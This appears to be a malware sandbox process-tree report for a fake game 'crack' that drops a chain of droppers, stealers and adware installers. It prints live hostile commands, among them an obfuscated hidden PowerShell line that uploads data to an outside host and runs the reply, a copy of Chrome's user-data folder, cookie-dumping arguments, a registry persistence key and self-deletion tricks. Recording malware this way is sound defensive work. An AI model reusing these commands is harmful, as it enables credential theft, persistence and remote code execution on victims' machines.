C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8244 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8148 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=4788 /prefetch:82⤵
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1584,16202256296629483174,10305691429861964050,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=8620 /prefetch:82⤵
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\rundll32.exeC:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding1⤵
-
C:\Users\Admin\AppData\Local\Temp\Temp2_Return.of.the.Spaced.Invaders.crack.zip\Return.of.the.Spaced.Invaders.crack.exe"C:\Users\Admin\AppData\Local\Temp\Temp2_Return.of.the.Spaced.Invaders.crack.zip\Return.of.the.Spaced.Invaders.crack.exe"1⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "2⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exekeygen-pr.exe -p83fsase3Ge3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exeC:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat5⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exekeygen-step-1.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exekeygen-step-2.exe3⤵
- Executes dropped EXE
- Modifies system certificate store
-
C:\Users\Admin\AppData\Roaming\4BA0.tmp.exe"C:\Users\Admin\AppData\Roaming\4BA0.tmp.exe"4⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Roaming\4BA0.tmp.exe"5⤵
-
C:\Windows\SysWOW64\timeout.exetimeout /T 10 /NOBREAK6⤵
- Delays execution with timeout.exe
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-2.exe" >> NUL4⤵
-
C:\Windows\SysWOW64\PING.EXEping 127.0.0.15⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exekeygen-step-3.exe3⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"4⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 30005⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exekeygen-step-4.exe3⤵
- Executes dropped EXE
-
C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe" 0 3060197d33d91c80.94013368 0 1015⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe" 1 3.1617573956.606a3844c8bb5 1016⤵
-
C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\WRXYXKEB2L\multitimer.exe" 2 3.1617573956.606a3844c8bb57⤵
-
C:\Users\Admin\AppData\Local\Temp\qo43he3kxmk\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\qo43he3kxmk\cpyrix.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe9⤵
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"10⤵
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe9⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"10⤵
-
C:\Users\Admin\AppData\Local\Temp\tllfewixams\vict.exe"C:\Users\Admin\AppData\Local\Temp\tllfewixams\vict.exe" /VERYSILENT /id=5358⤵
-
C:\Users\Admin\AppData\Local\Temp\is-DJAPK.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-DJAPK.tmp\vict.tmp" /SL5="$302EE,870426,780800,C:\Users\Admin\AppData\Local\Temp\tllfewixams\vict.exe" /VERYSILENT /id=5359⤵
-
C:\Users\Admin\AppData\Local\Temp\is-D092F.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-D092F.tmp\win1host.exe" 53510⤵
-
C:\Users\Admin\AppData\Local\Temp\HOHUz0OUb.exe"C:\Users\Admin\AppData\Local\Temp\HOHUz0OUb.exe"11⤵
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Marito.gif12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1132 -s 54411⤵
- Program crash
-
C:\Users\Admin\AppData\Local\Temp\1fldi4h3aek\vchqejzvbr1.exe"C:\Users\Admin\AppData\Local\Temp\1fldi4h3aek\vchqejzvbr1.exe"8⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\1fldi4h3aek\vchqejzvbr1.exe"9⤵
-
C:\Windows\SysWOW64\PING.EXEping 1.1.1.1 -n 1 -w 300010⤵
- Runs ping.exe
-
C:\Users\Admin\AppData\Local\Temp\1eegobakm3w\dgs24jhdivf.exe"C:\Users\Admin\AppData\Local\Temp\1eegobakm3w\dgs24jhdivf.exe" /VERYSILENT8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-LTIIS.tmp\dgs24jhdivf.tmp"C:\Users\Admin\AppData\Local\Temp\is-LTIIS.tmp\dgs24jhdivf.tmp" /SL5="$302DC,2592217,780800,C:\Users\Admin\AppData\Local\Temp\1eegobakm3w\dgs24jhdivf.exe" /VERYSILENT9⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0DMLG.tmp\winlthsth.exe"C:\Users\Admin\AppData\Local\Temp\is-0DMLG.tmp\winlthsth.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\RISOrCACe.exe"C:\Users\Admin\AppData\Local\Temp\RISOrCACe.exe"11⤵
-
C:\Windows\SysWOW64\at.exe"C:\Windows\System32\at.exe"12⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Marito.gif12⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\System32\cmd.exe13⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"11⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"12⤵
-
C:\Users\Admin\AppData\Local\Temp\zzjgqqpps5f\app.exe"C:\Users\Admin\AppData\Local\Temp\zzjgqqpps5f\app.exe" /8-238⤵
-
C:\Users\Admin\AppData\Local\Temp\zzjgqqpps5f\app.exe"C:\Users\Admin\AppData\Local\Temp\zzjgqqpps5f\app.exe" /8-239⤵
-
C:\Users\Admin\AppData\Local\Temp\neht1tzltdp\bib2eyfkra5.exe"C:\Users\Admin\AppData\Local\Temp\neht1tzltdp\bib2eyfkra5.exe" /ustwo INSTALL8⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "bib2eyfkra5.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\neht1tzltdp\bib2eyfkra5.exe" & exit9⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "bib2eyfkra5.exe" /f10⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\5cuzhzmdaqb\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\5cuzhzmdaqb\Setup3310.exe" /Verysilent /subid=5778⤵
-
C:\Users\Admin\AppData\Local\Temp\is-SGGGK.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-SGGGK.tmp\Setup3310.tmp" /SL5="$103DA,138429,56832,C:\Users\Admin\AppData\Local\Temp\5cuzhzmdaqb\Setup3310.exe" /Verysilent /subid=5779⤵
-
C:\Users\Admin\AppData\Local\Temp\is-KACMO.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-KACMO.tmp\Setup.exe" /Verysilent10⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\RunWW.exe"11⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 94812⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 100412⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 97212⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 115612⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 119212⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 120012⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 130012⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 152412⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 157612⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 169212⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 173612⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 178812⤵
- Program crash
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6652 -s 177212⤵
- Program crash
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FILG9.tmp\LabPicV3.tmp"C:\Users\Admin\AppData\Local\Temp\is-FILG9.tmp\LabPicV3.tmp" /SL5="$4058A,239334,155648,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\LabPicV3.exe"12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0CBCV.tmp\ppppppfy.exe"C:\Users\Admin\AppData\Local\Temp\is-0CBCV.tmp\ppppppfy.exe" /S /UID=lab21413⤵
-
C:\Program Files\Microsoft Office 15\SHQDREZRJF\prolab.exe"C:\Program Files\Microsoft Office 15\SHQDREZRJF\prolab.exe" /VERYSILENT14⤵
-
C:\Users\Admin\AppData\Local\Temp\is-1N0DN.tmp\prolab.tmp"C:\Users\Admin\AppData\Local\Temp\is-1N0DN.tmp\prolab.tmp" /SL5="$5043E,575243,216576,C:\Program Files\Microsoft Office 15\SHQDREZRJF\prolab.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Local\Temp\df-e70fc-248-f6399-0ae67157a124e\Baduvaelafe.exe"C:\Users\Admin\AppData\Local\Temp\df-e70fc-248-f6399-0ae67157a124e\Baduvaelafe.exe"14⤵
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 221615⤵
-
C:\Users\Admin\AppData\Local\Temp\60-18ccd-7ca-3c4aa-93af7b91c6b67\SHyridymeta.exe"C:\Users\Admin\AppData\Local\Temp\60-18ccd-7ca-3c4aa-93af7b91c6b67\SHyridymeta.exe"14⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g4kexjvj.xvw\md6_6ydj.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\g4kexjvj.xvw\md6_6ydj.exeC:\Users\Admin\AppData\Local\Temp\g4kexjvj.xvw\md6_6ydj.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pjxs2koj.jgt\askinstall31.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\pjxs2koj.jgt\askinstall31.exeC:\Users\Admin\AppData\Local\Temp\pjxs2koj.jgt\askinstall31.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ela2wf2q.bmc\toolspab1.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\ela2wf2q.bmc\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ela2wf2q.bmc\toolspab1.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\ela2wf2q.bmc\toolspab1.exeC:\Users\Admin\AppData\Local\Temp\ela2wf2q.bmc\toolspab1.exe17⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\tpnbhieb.lel\GcleanerWW.exe /mixone & exit15⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\b3itup3c.odz\setup_10.2_mix.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\b3itup3c.odz\setup_10.2_mix.exeC:\Users\Admin\AppData\Local\Temp\b3itup3c.odz\setup_10.2_mix.exe16⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\uqiwzzgb.j1j\file.exe & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\uqiwzzgb.j1j\file.exeC:\Users\Admin\AppData\Local\Temp\uqiwzzgb.j1j\file.exe16⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\Setup.exe"17⤵
-
C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe" 0 3060197d33d91c80.94013368 0 10118⤵
-
C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe" 1 3.1617574163.606a391366b37 10119⤵
-
C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\5VK8BK5VK1\multitimer.exe" 2 3.1617574163.606a391366b3720⤵
-
C:\Users\Admin\AppData\Local\Temp\VIK85O75JY\setups.exe"C:\Users\Admin\AppData\Local\Temp\VIK85O75JY\setups.exe" ll18⤵
-
C:\Users\Admin\AppData\Local\Temp\is-2HM34.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-2HM34.tmp\setups.tmp" /SL5="$803E8,454998,229376,C:\Users\Admin\AppData\Local\Temp\VIK85O75JY\setups.exe" ll19⤵
-
C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"17⤵
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe18⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe19⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\xcopy.exexcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y18⤵
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ebx5gq3s.vpz\app.exe /8-2222 & exit15⤵
-
C:\Users\Admin\AppData\Local\Temp\ebx5gq3s.vpz\app.exeC:\Users\Admin\AppData\Local\Temp\ebx5gq3s.vpz\app.exe /8-222216⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\HookSetp.exe"11⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\0Jm5LQEyZe9W.exe"11⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe12⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\Three.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe" 0 306065bb10421b26.04333812 0 10312⤵
-
C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe" 1 3.1617574028.606a388c0ae71 10313⤵
-
C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe"C:\Users\Admin\AppData\Local\Temp\HJQ0PF2XZO\multitimer.exe" 2 3.1617574028.606a388c0ae7114⤵
-
C:\Users\Admin\AppData\Local\Temp\qhx1a43rlwm\cpyrix.exe"C:\Users\Admin\AppData\Local\Temp\qhx1a43rlwm\cpyrix.exe" /VERYSILENT15⤵
-
C:\Users\Admin\AppData\Roaming\1.exeC:\Users\Admin\AppData\Roaming\1.exe16⤵
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"17⤵
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"17⤵
-
C:\Users\Admin\AppData\Roaming\1.exe"{path}"17⤵
-
C:\Users\Admin\AppData\Roaming\2.exeC:\Users\Admin\AppData\Roaming\2.exe16⤵
-
C:\Users\Admin\AppData\Roaming\2.exe"{path}"17⤵
-
C:\Users\Admin\AppData\Local\Temp\nr03jwxvumn\Setup3310.exe"C:\Users\Admin\AppData\Local\Temp\nr03jwxvumn\Setup3310.exe" /Verysilent /subid=57715⤵
-
C:\Users\Admin\AppData\Local\Temp\is-H2754.tmp\Setup3310.tmp"C:\Users\Admin\AppData\Local\Temp\is-H2754.tmp\Setup3310.tmp" /SL5="$2038C,138429,56832,C:\Users\Admin\AppData\Local\Temp\nr03jwxvumn\Setup3310.exe" /Verysilent /subid=57716⤵
-
C:\Users\Admin\AppData\Local\Temp\is-GM5TB.tmp\Setup.exe"C:\Users\Admin\AppData\Local\Temp\is-GM5TB.tmp\Setup.exe" /Verysilent17⤵
-
C:\Users\Admin\AppData\Local\Temp\itke0wtvj5i\app.exe"C:\Users\Admin\AppData\Local\Temp\itke0wtvj5i\app.exe" /8-2315⤵
-
C:\Users\Admin\AppData\Local\Temp\itke0wtvj5i\app.exe"C:\Users\Admin\AppData\Local\Temp\itke0wtvj5i\app.exe" /8-2316⤵
-
C:\Users\Admin\AppData\Local\Temp\3linj2q2zjo\e2jv5h43k2y.exe"C:\Users\Admin\AppData\Local\Temp\3linj2q2zjo\e2jv5h43k2y.exe" /ustwo INSTALL15⤵
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "e2jv5h43k2y.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\3linj2q2zjo\e2jv5h43k2y.exe" & exit16⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "e2jv5h43k2y.exe" /f17⤵
- Kills process with taskkill
-
C:\Users\Admin\AppData\Local\Temp\uid5xa5ijmk\vpn.exe"C:\Users\Admin\AppData\Local\Temp\uid5xa5ijmk\vpn.exe" /silent /subid=48215⤵
- Modifies Internet Explorer settings
-
C:\Users\Admin\AppData\Local\Temp\is-RMSOK.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-RMSOK.tmp\vpn.tmp" /SL5="$2038A,15170975,270336,C:\Users\Admin\AppData\Local\Temp\uid5xa5ijmk\vpn.exe" /silent /subid=48216⤵
-
C:\Users\Admin\AppData\Local\Temp\tfsv3ged45p\vict.exe"C:\Users\Admin\AppData\Local\Temp\tfsv3ged45p\vict.exe" /VERYSILENT /id=53515⤵
-
C:\Users\Admin\AppData\Local\Temp\is-0LED8.tmp\vict.tmp"C:\Users\Admin\AppData\Local\Temp\is-0LED8.tmp\vict.tmp" /SL5="$3036E,870426,780800,C:\Users\Admin\AppData\Local\Temp\tfsv3ged45p\vict.exe" /VERYSILENT /id=53516⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FA3V4.tmp\win1host.exe"C:\Users\Admin\AppData\Local\Temp\is-FA3V4.tmp\win1host.exe" 53517⤵
-
C:\Users\Admin\AppData\Local\Temp\IXYH0LGJ1Y\setups.exe"C:\Users\Admin\AppData\Local\Temp\IXYH0LGJ1Y\setups.exe" ll12⤵
-
C:\Users\Admin\AppData\Local\Temp\is-FHUQO.tmp\setups.tmp"C:\Users\Admin\AppData\Local\Temp\is-FHUQO.tmp\setups.tmp" /SL5="$20286,454998,229376,C:\Users\Admin\AppData\Local\Temp\IXYH0LGJ1Y\setups.exe" ll13⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\guihuali-game.exe"11⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install13⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\22.exe"11⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Program Files\javcse\install.vbs"12⤵
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" "C:\Program Files\javcse\install.dll",install13⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"11⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\jg7_7wjg.exe"11⤵
-
C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\hjjgaa.exe"11⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
-
C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exeC:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt12⤵
-
C:\Users\Admin\AppData\Local\Temp\l5cn3wilp1v\IBInstaller_97039.exe"C:\Users\Admin\AppData\Local\Temp\l5cn3wilp1v\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq8⤵
-
C:\Users\Admin\AppData\Local\Temp\is-RPL5Q.tmp\IBInstaller_97039.tmp"C:\Users\Admin\AppData\Local\Temp\is-RPL5Q.tmp\IBInstaller_97039.tmp" /SL5="$8007C,14575459,721408,C:\Users\Admin\AppData\Local\Temp\l5cn3wilp1v\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq9⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c expand C:\Users\Admin\AppData\Local\Temp\is-IC198.tmp\{app}\microsoft.cab -F:* %ProgramData%10⤵
-
C:\Windows\SysWOW64\expand.exeexpand C:\Users\Admin\AppData\Local\Temp\is-IC198.tmp\{app}\microsoft.cab -F:* C:\ProgramData11⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" /c start http://egypthistoricart.online/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039^¶m=10⤵
-
C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"C:\ProgramData\regid.1993-06.com.microsoft\client32.exe"10⤵
-
C:\Windows\SysWOW64\cmd.exe"cmd.exe" reg add "HKEY_CURRENT_USER\Environment" /v UserInitMprLogonScript /t REG_EXPAND_SZ /d "%ProgramData%\regid.1993-06.com.microsoft\client32.exe" /f10⤵
-
C:\Users\Admin\AppData\Local\Temp\is-IC198.tmp\{app}\chrome_proxy.exe"C:\Users\Admin\AppData\Local\Temp\is-IC198.tmp\{app}\chrome_proxy.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\tqmcnzqpnfi\vpn.exe"C:\Users\Admin\AppData\Local\Temp\tqmcnzqpnfi\vpn.exe" /silent /subid=4828⤵
-
C:\Users\Admin\AppData\Local\Temp\is-4CCGJ.tmp\vpn.tmp"C:\Users\Admin\AppData\Local\Temp\is-4CCGJ.tmp\vpn.tmp" /SL5="$104C2,15170975,270336,C:\Users\Admin\AppData\Local\Temp\tqmcnzqpnfi\vpn.exe" /silent /subid=4829⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\uninstall.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe remove tap090111⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\MaskVPN\driver\win764\install.bat" "10⤵
-
C:\Program Files (x86)\MaskVPN\driver\win764\tapinstall.exetapinstall.exe install OemVista.inf tap090111⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall10⤵
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe" install10⤵
-
